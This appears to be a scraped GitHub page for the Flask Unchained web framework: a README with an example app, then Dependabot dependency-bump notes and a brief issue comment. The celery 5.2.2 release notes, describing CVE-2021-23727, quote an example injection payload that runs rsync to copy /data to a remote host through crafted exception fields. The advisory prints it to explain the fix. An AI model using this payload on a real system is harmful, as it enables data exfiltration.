Flask Unchained is a Flask extension, a pluggable application factory, and a set of mostly optional "bundles" that together create a modern, fully integrated, and highly customizable web framework for Flask and its extension ecosystem. Flask Unchained aims to stay true to the spirit and API of Flask, while making it significantly easier to quickly build web apps and APIs with Python.
Flask Unchained introduces "bundles" to Flask: bundles are Python packages that integrate functionality with Flask, Flask Unchained, and other bundles. That could mean anything from integrating vanilla Flask extensions to being full-blown apps your app can integrate, customize, and extend (like say, a blog or web store). Unlike vanilla Flask extensions, bundles are both consistent and highly extensible and customizable. Once you figure out how something works in one bundle, it's the same in every other bundle. They are conceptually similar to Django's "apps", but I think you'll find bundles are even more powerful and flexible.
The architecture of how Flask Unchained and its bundles work is inspired by the Symfony Framework, which is awesome, aside from the fact that it isn't Python ;)
pytest
and factory_boy
A silly (more verbose than it needs to be) example looks about like this:
```python
import random from flask_unchained import FlaskUnchained, AppBundle, Service, injectable from flask_unchained import Controller, route, param_converter, url_for from flask_unchained.pytest import HtmlTestClient
BUNDLES = ['flask_unchained.bundles.controller']
class App(AppBundle): def before_init_app(self, app: FlaskUnchained) -> None: pass
def after_init_app(self, app: FlaskUnchained) -> None:
pass
class RandomService(Service): def get_name(self) -> str: return random.choice(['Alice', 'Bob', 'Grace', 'Judy'])
class SiteController(Controller): class Meta: url_prefix = '/'
random_service: RandomService = injectable
@route('/')
@param_converter(name=str)
def index(self, name: str = None):
name = name or self.random_service.get_name()
return f'Hello {name} from Flask Unchained!'
class TestSiteController: def test_index(self, client: HtmlTestClient): r = client.get(url_for('site_controller.index', name='World')) assert r.status_code == 200 assert r.html == 'Hello World from Flask Unchained!' ```
You can run it like so:
bash
pip install "flask-unchained[dev]"
pytest app.py
flask urls
flask run
A larger application structure might look about like this:
/home/user/dev/project-root
├── app # your app bundle package
│ ├── admins # Flask-Admin model admins
│ ├── commands # Click CLI groups/commands
│ ├── extensions # vanilla Flask extensions
│ ├── models # SQLAlchemy models
│ ├── fixtures # SQLAlchemy model fixtures (for seeding the dev db)
│ ├── serializers # Marshmallow serializers (aka schemas)
│ ├── services # dependency-injectable services
│ ├── tasks # Celery tasks
│ ├── templates # Jinja2 templates
│ ├── views # Controllers, Resources and views
│ ├── __init__.py
│ ├── config.py # app config
│ └── routes.py # declarative routes
├── assets # static assets to be handled by Webpack
│ ├── images
│ ├── scripts
│ └── styles
├── bundles # custom bundles and/or bundle extensions/overrides
│ └── security # a customized/extended Security Bundle
│ ├── models
│ ├── serializers
│ ├── services
│ ├── templates
│ └── __init__.py
├── db
│ └── migrations # Alembic (SQLAlchemy) migrations (generated by Flask-Migrate)
├── static # static assets (Webpack compiles to here, and Flask
│ # serves this folder at /static (by default))
├── templates # the top-level templates folder
├── tests # your pytest tests
├── webpack # Webpack configs
└── unchained_config.py # the Flask Unchained config
To learn how to build such an app, check out the official tutorial. (NOTE: The tutorial is still a work-in-progress.) You can also check out Flask Unchained React SPA
The docs are on Read the Docs, as is the official tutorial.
NOTE: Some bundles are still a work-in-progress. Parts of the documentation need improvement or are missing. Some corners of the code are still alpha-quality. Things work for me, but there are probably a few bugs lurking, and some parts of the API are potentially subject to change.
Contributions are more than welcome! This is a big project with a lot of different things that need doing. There's a TODO file in the project root, or if you've got an idea, open an issue or a PR and let's chat!
MIT
Bumps werkzeug from 2.1.1 to 2.2.3.
Sourced from werkzeug's releases.
2.2.3
This is a fix release for the 2.2.x release branch.
- Changes: https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-2-3
- Milestone: https://github.com/pallets/werkzeug/milestone/26?closed=1
This release contains security fixes for:
- https://github.com/pallets/werkzeug/security/advisories/GHSA-xg9f-g7g7-2323
- https://github.com/pallets/werkzeug/security/advisories/GHSA-px8h-6qxv-m22q
2.2.2
This is a fix release for the 2.2.0 feature release.
- Changes: https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-2-2
- Milestone: https://github.com/pallets/werkzeug/milestone/25?closed=1
2.2.1
This is a fix release for the 2.2.0 feature release.
- Changes: https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-2-1
- Milestone: https://github.com/pallets/werkzeug/milestone/24?closed=1
2.2.0
This is a feature release, which includes new features and removes previously deprecated features. The 2.2.x branch is now the supported bugfix branch, the 2.1.x branch will become a tag marking the end of support for that branch. We encourage everyone to upgrade, and to use a tool such as pip-tools to pin all dependencies and control upgrades.
- Changes: https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-2-0
- Milestone: https://github.com/pallets/werkzeug/milestone/20?closed=1
2.1.2
This is a fix release for the 2.1.0 feature release.
Sourced from werkzeug's changelog.
Version 2.2.3
Released 2023-02-14
- Ensure that URL rules using path converters will redirect with strict slashes when the trailing slash is missing. :issue:
2533
- Type signature for
get_json
specifies that return type is not optional whensilent=False
. :issue:2508
parse_content_range_header
returnsNone
for a value likebytes */-1
where the length is invalid, instead of raising anAssertionError
. :issue:2531
- Address remaining
ResourceWarning
related to the socket used byrun_simple
. Removeprepare_socket
, which now happens when creating the server. :issue:2421
- Update pre-existing headers for
multipart/form-data
requests with the test client. :issue:2549
- Fix handling of header extended parameters such that they are no longer quoted. :issue:
2529
LimitedStream.read
works correctly when wrapping a stream that may not return the requested size in oneread
call. :issue:2558
- A cookie header that starts with
=
is treated as an empty key and discarded, rather than stripping the leading==
.- Specify a maximum number of multipart parts, default 1000, after which a
RequestEntityTooLarge
exception is raised on parsing. This mitigates a DoS attack where a larger number of form/file parts would result in disproportionate resource use.Version 2.2.2
Released 2022-08-08
- Fix router to restore the 2.1
strict_slashes == False
behaviour whereby leaf-requests match branch rules and vice versa. :pr:2489
- Fix router to identify invalid rules rather than hang parsing them, and to correctly parse
/
within converter arguments. :pr:2489
- Update subpackage imports in :mod:
werkzeug.routing
to use theimport as
syntax for explicitly re-exporting public attributes. :pr:2493
- Parsing of some invalid header characters is more robust. :pr:
2494
- When starting the development server, a warning not to use it in a production deployment is always shown. :issue:
2480
LocalProxy.__wrapped__
is always set to the wrapped object when the proxy is unbound, fixing an issue in doctest that would cause it to fail. :issue:2485
- Address one
ResourceWarning
related to the socket used byrun_simple
. :issue:2421
... (truncated)
22a254f
release version 2.2.3517cac5
Merge pull request from GHSA-xg9f-g7g7-2323babc8d9
rewrite docs about request data limits09449ee
clean up docsfe899d0
limit the maximum number of multipart form partscf275f4
Merge pull request from GHSA-px8h-6qxv-m22q8c2b4b8
don't strip leading = when parsing cookie7c7ce5c
[pre-commit.ci] pre-commit autoupdate (#2585)19ae03e
[pre-commit.ci] auto fixes from pre-commit.com hooksa83d3b8
[pre-commit.ci] pre-commit autoupdateDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps ipython from 7.30.0 to 8.10.0.
15ea1ed
release 8.10.0560ad10
DOC: Update what's new for 8.10 (#13939)7557ade
DOC: Update what's new for 8.10385d693
Merge pull request from GHSA-29gw-9793-fvw7e548ee2
Swallow potential exceptions from showtraceback() (#13934)0694b08
MAINT: mock slowest test. (#13885)8655912
MAINT: mock slowest test.a011765
Isolate the attack tests with setUp and tearDown methodsc7a9470
Add some regression tests for this changefd34cf5
Swallow potential exceptions from showtraceback()Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps ipython from 7.24.1 to 8.10.0.
15ea1ed
release 8.10.0560ad10
DOC: Update what's new for 8.10 (#13939)7557ade
DOC: Update what's new for 8.10385d693
Merge pull request from GHSA-29gw-9793-fvw7e548ee2
Swallow potential exceptions from showtraceback() (#13934)0694b08
MAINT: mock slowest test. (#13885)8655912
MAINT: mock slowest test.a011765
Isolate the attack tests with setUp and tearDown methodsc7a9470
Add some regression tests for this changefd34cf5
Swallow potential exceptions from showtraceback()Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps lxml from 4.8.0 to 4.9.1.
Sourced from lxml's changelog.
4.9.1 (2022-07-01)
Bugs fixed
- A crash was resolved when using
iterwalk()
(orcanonicalize()
) after parsing certain incorrect input. Note thatiterwalk()
can crash on valid input parsed with the same parser after failing to parse the incorrect input.4.9.0 (2022-06-01)
Bugs fixed
- GH#341: The mixin inheritance order in
lxml.html
was corrected. Patch by xmo-odoo.Other changes
Built with Cython 0.29.30 to adapt to changes in Python 3.11 and 3.12.
Wheels include zlib 1.2.12, libxml2 2.9.14 and libxslt 1.1.35 (libxml2 2.9.12+ and libxslt 1.1.34 on Windows).
GH#343: Windows-AArch64 build support in Visual Studio. Patch by Steve Dower.
d01872c
Prevent parse failure in new test from leaking into later test runs.d65e632
Prepare release of lxml 4.9.1.86368e9
Fix a crash when incorrect parser input occurs together with usages of iterwa...50c2764
Delete unused Travis CI config and reference in docs (GH-345)8f0bf2d
Try to speed up the musllinux AArch64 build by splitting the different CPytho...b9f7074
Remove debug print from test.b224e0f
Try to install 'xz' in wheel builds, if available, since it's now needed to e...897ebfa
Update macOS deployment target version from 10.14 to 10.15 since 10.14 starts...853c9e9
Prepare release of 4.9.0.d3f77e6
Add a test for https://bugs.launchpad.net/lxml/+bug/1965070 leaving out the a...Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps celery from 5.2.1 to 5.2.2.
Sourced from celery's releases.
5.2.2
Release date: 2021-12-26 16:30 P.M UTC+2:00
Release by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
Sourced from celery's changelog.
5.2.2
:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:.. code-block:: python
{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
.. _version-5.2.1:
b21c13d
Bump version: 5.2.1 → 5.2.2a60b486
Add changelog for 5.2.2.3e5d630
Fix changelog formatting.1f7ad7e
Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).2d8dbc2
Update configuration.rst9596aba
Fix typo in documentation639ad83
update doc to reflect Celery 5.2.x (#7153)Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
In my experience, I have found it easier to both work with and teach pipenv over venv, would you be open to switching to that? I am looking to implement dotenv but don't want to double up on work if I can help it.
python3 web framework